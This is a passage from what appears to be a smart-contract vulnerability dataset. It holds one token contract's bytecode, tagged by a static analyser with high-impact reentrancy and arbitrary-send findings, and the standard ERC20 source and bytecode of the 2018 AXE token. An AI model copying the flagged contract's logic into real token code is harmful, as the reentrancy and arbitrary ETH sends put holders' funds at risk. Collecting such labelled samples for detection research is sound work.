ffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220245012aa2f0b60d7b6b680b5909afb11da3cc4aedb89c2490bef3f77003b77bf64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,836
0xfc8cce3b57e970a57d2086447302243fccd8ab12
/************************************************************************************ This is the source code for the AXE token written in Solidity language. * This token is based on ERC20 specification * The Axe token is made for AXE FINANCIAL CORPORATION - MAURITIUS * Version 1.0 * Date: 22-AUG-2018 * ************************************************************************************/ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title AXEToken A token contract which generates the token having symbol AXE and follows the * ERC20 standard. */ contract AXEToken is StandardToken { /// Token specifics string public name="AXE"; // Token Name uint8 public decimals=18; // How many parts token can be divided. string public symbol="AXE"; // An identifier: eg SBX, XPR etc.. string public version = '1.0'; constructor(address _wallet) public { require(_wallet != address(0)); totalSupply_ = 10000000000*10**18; balances[_wallet] = totalSupply_; emit Transfer(address(0), _wallet, balances[_wallet]); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806354fd4d5014610295578063661884631461032557806370a082311461038a57806395d89b41146103e1578063a9059cbb14610471578063d73dd623146104d6578063dd62ed3e1461053b575b600080fd5b3480156100cb57600080fd5b506100d46105b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610650565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610742565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074c565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610b06565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102aa610b19565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ea5780820151818401526020810190506102cf565b50505050905090810190601f1680156103175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033157600080fd5b50610370600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb7565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b506103cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e48565b6040518082815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610e90565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043657808201518184015260208101905061041b565b50505050905090810190601f1680156104635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610521600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114d565b604051808215151515815260200191505060405180910390f35b34801561054757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611349565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106485780601f1061061d57610100808354040283529160200191610648565b820191906000526020600020905b81548152906001019060200180831161062b57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086157600080fd5b6108b2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610945826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baf5780601f10610b8457610100808354040283529160200191610baf565b820191906000526020600020905b815481529060010190602001808311610b9257829003601f168201915b505050505081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cc8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5c565b610cdb83826113d090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffff